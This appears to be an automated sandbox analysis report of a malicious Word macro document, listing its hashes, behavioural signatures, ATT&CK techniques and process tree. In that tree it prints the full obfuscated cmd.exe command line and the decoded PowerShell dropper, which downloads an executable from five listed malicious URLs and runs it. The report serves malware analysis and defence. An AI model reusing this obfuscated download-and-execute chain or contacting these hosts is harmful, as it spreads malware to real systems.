be308880645b0a69fc1542b416dc00d1af234a51bfc2bb94ab8f499474fc605f

Analysis

max time kernel
144s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
04-05-2024 22:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

14daa4102435e660c6bb0ee22647be5f_JaffaCakes118.doc
Size

249KB
MD5

14daa4102435e660c6bb0ee22647be5f
SHA1

2d5e7f62e05070d47172f78261fcd51981d729f4
SHA256

be308880645b0a69fc1542b416dc00d1af234a51bfc2bb94ab8f499474fc605f
SHA512

6c46362575444c328a9259034cf92aff13580d2e40da94826b0cdd0de82a22618c479d52874c48b30237e492e1250c63bf301a886b23f37c66f549a562c47d5c
SSDEEP

3072:YyfLEIteDJp626aAaP/2iFsPZkjL/xSu90OoiLuDKZXfwKeljR1B:YyfL8Ozda32rZSxUOmD+XfwLl

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://bestprogrammingbooks.com/wp-admin/caD67CPRUd

exe.dropper

http://www.pabloteixeira.com/xoUPk7FI

exe.dropper

http://shoesstockshop.ru/xxLR1CX

exe.dropper

http://maisonvoltaire.org/EsUDRwECHV

exe.dropper

http://xaydungphuongdong.net/C2AGBs7Ah

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3352	5028	cmd.exe	84

Blocklisted process makes network request 2 IoCs

flow	pid	Process
36	3116	powershell.exe
38	3116	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
3352	cmd.exe
4488	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
5028	WINWORD.EXE
5028	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3116	powershell.exe
3116	powershell.exe
3116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3116	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
5028	WINWORD.EXE
5028	WINWORD.EXE
5028	WINWORD.EXE
5028	WINWORD.EXE
5028	WINWORD.EXE
5028	WINWORD.EXE
5028	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 3352	5028	WINWORD.EXE	89
PID 5028 wrote to memory of 3352	5028	WINWORD.EXE	89
PID 3352 wrote to memory of 4488	3352	cmd.exe	91
PID 3352 wrote to memory of 4488	3352	cmd.exe	91
PID 4488 wrote to memory of 2644	4488	cmd.exe	96
PID 4488 wrote to memory of 2644	4488	cmd.exe	96
PID 4488 wrote to memory of 4484	4488	cmd.exe	97
PID 4488 wrote to memory of 4484	4488	cmd.exe	97
PID 4484 wrote to memory of 3116	4484	cmd.exe	98
PID 4484 wrote to memory of 3116	4484	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\14daa4102435e660c6bb0ee22647be5f_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set S8M=gw-1H'Tc=GVFEv/l$Rf9qUW N5)PM(0dmtkn:yBa\Lj;,3rXDxACipuh%@}2o76+eS{zb~OsI4.&&for %I in (53,60,1,56,27,21,38,41,72,51,36,69,25,44,3,56,46,56,65,12,65,65,72,70,24,24,50,28,12,36,69,2,73,44,3,56,55,56,6,12,28,27,36,69,2,45,44,3,56,15,15,23,16,46,35,7,15,18,8,5,1,53,60,67,39,7,34,5,43,16,39,71,35,42,32,8,35,64,1,2,60,68,42,64,7,33,23,24,64,33,74,22,64,68,51,15,52,64,35,33,43,16,1,52,31,1,20,52,31,8,5,55,33,33,53,36,14,14,68,64,71,33,53,46,60,0,46,39,32,32,52,35,0,68,60,60,34,71,74,7,60,32,14,1,53,2,39,31,32,52,35,14,7,39,48,62,61,51,27,17,21,31,57,55,33,33,53,36,14,14,1,1,1,74,53,39,68,15,60,33,64,52,49,64,52,46,39,74,7,60,32,14,49,60,21,27,34,61,11,72,57,55,33,33,53,36,14,14,71,55,60,64,71,71,33,60,7,34,71,55,60,53,74,46,54,14,49,49,41,17,3,51,47,57,55,33,33,53,36,14,14,32,39,52,71,60,35,13,60,15,33,39,52,46,64,74,60,46,0,14,12,71,21,48,17,1,12,51,4,10,57,55,33,33,53,36,14,14,49,39,37,31,54,35,0,53,55,54,60,35,0,31,60,35,0,74,35,64,33,14,51,59,50,9,38,71,61,50,55,5,74,65,53,15,52,33,29,5,57,5,26,43,16,1,20,20,34,39,8,5,13,34,67,42,67,68,5,43,16,42,54,20,15,67,23,8,23,5,19,19,30,5,43,16,7,68,52,71,18,8,5,52,15,20,35,42,67,5,43,16,32,7,1,1,34,8,16,64,35,13,36,33,64,32,53,63,5,40,5,63,16,42,54,20,15,67,63,5,74,64,49,64,5,43,18,60,46,64,39,7,55,29,16,39,42,52,42,53,23,52,35,23,16,1,52,31,1,20,52,31,26,66,33,46,37,66,16,39,71,35,42,32,74,48,60,1,35,15,60,39,31,11,52,15,64,29,16,39,42,52,42,53,44,23,16,32,7,1,1,34,26,43,16,20,42,71,33,13,42,15,8,5,39,55,68,42,13,1,5,43,72,18,23,29,29,9,64,33,2,72,33,64,32,23,16,32,7,1,1,34,26,74,15,64,35,0,33,55,23,2,0,64,23,73,30,30,30,30,26,23,66,72,35,13,60,34,64,2,72,33,64,32,23,16,32,7,1,1,34,43,16,13,13,1,68,7,42,8,5,42,55,67,34,46,31,1,5,43,68,46,64,39,34,43,58,58,7,39,33,7,55,66,58,58,16,53,20,52,18,67,8,5,39,54,71,1,1,31,5,43,81)do set xUe=!xUe!!S8M:~%I,1!&&if %I==81 echo !xUe:~5!|cmd.exe"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\system32\cmd.exe
    CmD /V:O/C"set S8M=gw-1H'Tc=GVFEv/l$Rf9qUW N5)PM(0dmtkn:yBa\Lj;,3rXDxACipuh%@}2o76+eS{zb~OsI4.&&for %I in (53,60,1,56,27,21,38,41,72,51,36,69,25,44,3,56,46,56,65,12,65,65,72,70,24,24,50,28,12,36,69,2,73,44,3,56,55,56,6,12,28,27,36,69,2,45,44,3,56,15,15,23,16,46,35,7,15,18,8,5,1,53,60,67,39,7,34,5,43,16,39,71,35,42,32,8,35,64,1,2,60,68,42,64,7,33,23,24,64,33,74,22,64,68,51,15,52,64,35,33,43,16,1,52,31,1,20,52,31,8,5,55,33,33,53,36,14,14,68,64,71,33,53,46,60,0,46,39,32,32,52,35,0,68,60,60,34,71,74,7,60,32,14,1,53,2,39,31,32,52,35,14,7,39,48,62,61,51,27,17,21,31,57,55,33,33,53,36,14,14,1,1,1,74,53,39,68,15,60,33,64,52,49,64,52,46,39,74,7,60,32,14,49,60,21,27,34,61,11,72,57,55,33,33,53,36,14,14,71,55,60,64,71,71,33,60,7,34,71,55,60,53,74,46,54,14,49,49,41,17,3,51,47,57,55,33,33,53,36,14,14,32,39,52,71,60,35,13,60,15,33,39,52,46,64,74,60,46,0,14,12,71,21,48,17,1,12,51,4,10,57,55,33,33,53,36,14,14,49,39,37,31,54,35,0,53,55,54,60,35,0,31,60,35,0,74,35,64,33,14,51,59,50,9,38,71,61,50,55,5,74,65,53,15,52,33,29,5,57,5,26,43,16,1,20,20,34,39,8,5,13,34,67,42,67,68,5,43,16,42,54,20,15,67,23,8,23,5,19,19,30,5,43,16,7,68,52,71,18,8,5,52,15,20,35,42,67,5,43,16,32,7,1,1,34,8,16,64,35,13,36,33,64,32,53,63,5,40,5,63,16,42,54,20,15,67,63,5,74,64,49,64,5,43,18,60,46,64,39,7,55,29,16,39,42,52,42,53,23,52,35,23,16,1,52,31,1,20,52,31,26,66,33,46,37,66,16,39,71,35,42,32,74,48,60,1,35,15,60,39,31,11,52,15,64,29,16,39,42,52,42,53,44,23,16,32,7,1,1,34,26,43,16,20,42,71,33,13,42,15,8,5,39,55,68,42,13,1,5,43,72,18,23,29,29,9,64,33,2,72,33,64,32,23,16,32,7,1,1,34,26,74,15,64,35,0,33,55,23,2,0,64,23,73,30,30,30,30,26,23,66,72,35,13,60,34,64,2,72,33,64,32,23,16,32,7,1,1,34,43,16,13,13,1,68,7,42,8,5,42,55,67,34,46,31,1,5,43,68,46,64,39,34,43,58,58,7,39,33,7,55,66,58,58,16,53,20,52,18,67,8,5,39,54,71,1,1,31,5,43,81)do set xUe=!xUe!!S8M:~%I,1!&&if %I==81 echo !xUe:~5!|cmd.exe"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:4488
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $rnclf='wpozack';$asnjm=new-object Net.WebClient;$widwqid='http://bestprogrammingbooks.com/wp-admin/caD67CPRUd@http://www.pabloteixeira.com/xoUPk7FI@http://shoesstockshop.ru/xxLR1CX@http://maisonvoltaire.org/EsUDRwECHV@http://xaydungphuongdong.net/C2AGBs7Ah'.Split('@');$wqqka='vkzjzb';$juqlz = '990';$cbisf='ilqnjz';$mcwwk=$env:temp+'\'+$juqlz+'.exe';foreach($ajijp in $widwqid){try{$asnjm.DownloadFile($ajijp, $mcwwk);$qjstvjl='ahbjvw';If ((Get-Item $mcwwk).length -ge 40000) {Invoke-Item $mcwwk;$vvwbcj='jhzkrdw';break;}}catch{}}$pqifz='auswwd';"
      4⤵
      PID:2644
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $rnclf='wpozack';$asnjm=new-object Net.WebClient;$widwqid='http://bestprogrammingbooks.com/wp-admin/caD67CPRUd@http://www.pabloteixeira.com/xoUPk7FI@http://shoesstockshop.ru/xxLR1CX@http://maisonvoltaire.org/EsUDRwECHV@http://xaydungphuongdong.net/C2AGBs7Ah'.Split('@');$wqqka='vkzjzb';$juqlz = '990';$cbisf='ilqnjz';$mcwwk=$env:temp+'\'+$juqlz+'.exe';foreach($ajijp in $widwqid){try{$asnjm.DownloadFile($ajijp, $mcwwk);$qjstvjl='ahbjvw';If ((Get-Item $mcwwk).length -ge 40000) {Invoke-Item $mcwwk;$vvwbcj='jhzkrdw';break;}}catch{}}$pqifz='auswwd';
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDB412.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sp0taani.v3y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3116-56-0x000001DFEF270000-0x000001DFEF292000-memory.dmp

Filesize
136KB

Download
memory/5028-14-0x00007FFA11150000-0x00007FFA11160000-memory.dmp

Filesize
64KB

Download
memory/5028-9-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-22-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-21-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-13-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-12-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-0-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-11-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-10-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-8-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-15-0x00007FFA11150000-0x00007FFA11160000-memory.dmp

Filesize
64KB

Download
memory/5028-16-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-7-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-6-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-18-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-19-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-5-0x00007FFA539ED000-0x00007FFA539EE000-memory.dmp

Filesize
4KB

Download
memory/5028-20-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-1-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-17-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-36-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-40-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-45-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-46-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-4-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-3-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-2-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-514-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-542-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-543-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-544-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download
memory/5028-567-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-568-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-570-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-569-0x00007FFA139D0000-0x00007FFA139E0000-memory.dmp

Filesize
64KB

Download
memory/5028-571-0x00007FFA53950000-0x00007FFA53B45000-memory.dmp

Filesize
2.0MB

Download